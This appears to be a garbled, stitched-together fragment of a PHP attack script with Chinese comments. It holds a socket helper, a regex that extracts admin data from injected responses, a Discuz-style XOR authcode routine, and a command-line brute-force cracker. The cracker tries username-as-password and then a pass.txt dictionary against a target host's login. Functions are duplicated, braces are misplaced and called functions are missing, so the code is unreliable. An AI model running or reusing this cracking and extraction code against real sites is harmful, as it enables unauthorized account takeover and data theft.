if (!$fp) {
echo $errno . '-->' . $errstr . "\n";
exit('Could not connect to: ' . $host);
} else {
fwrite($fp, $data);
$back = '';
while (!feof($fp)) {
$back .= fread($fp, 1024);
}
fclose($fp);
}
return $back;
}
//提取返回信息
function get_info($info)
{
preg_match('/~(.*)~1/i', send_pack($info), $admin_match);
if (preg_match('/charset=utf-8/i', send_pack($info))) {
return iconv('utf-8', 'gbk//IGNORE', $admin_match[1]);
} else {
return $admin_match[1];
}
}
//时间统计函数
function func_time()
{
list($microsec, $sec) = explode(' ', microtime());
return $microsec + $sec;
}
echo '脚本执行时间：' . round(func_time() - $start_time, 4) . '秒。';
$key_length = 4;
$key = md5($key);
$fixedkey = hash('md5', $key);
$egiskeys = md5(substr($fixedkey, 16, 16));
$runtokey = $key_length ? $operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length) : '';
$keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
$string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
$i = 0;
$result = '';
$string_length = strlen($string);
for ($i = 0; $i < $string_length; $i++) {
$result .= chr(ord($string[$i]) ^ ord($keys[$i % 32]));
}
if ($operation == 'ENCODE') {
return $runtokey . str_replace('=', '', base64_encode($result));
} else {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $egiskeys), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}
}
//时间统计函数
function func_time()
{
list($microsec, $sec) = explode(' ', microtime());
return $microsec + $sec;
}
echo "\n脚本执行时间：" . round(func_time() - $start_time, 4) . '秒';
error_reporting(7);
if (!extension_loaded('curl')) {
exit('plz enable CURL extention!');
}
$host = $argv[1];
$path = $argv[2];
$type = $argv[3];
$auth = array();
//$auth = load_dict();
$auth = file('user.txt');
//exit(var_dump($auth));
echo 'count(Username): ' . count($auth) . "\n\n";
//print_r($auth);
if ($type == 1) {
echo 'Cracking => the password same as username' . "\n\n";
$cracked = crack_login($auth, 'same');
} elseif ($type == 2) {
$passwords = file('pass.txt');
echo 'Cracking => password dict attack' . "\n\n";
if ($cracked) {
$auth = array_diff($auth, $cracked);
}
crack_login($auth, $passwords);
} else {
echo "invalid attack mode!\n\n";
exit;
}
echo 'elapsed time: ' . round(func_time() - $start_time, 4) . 's';
?>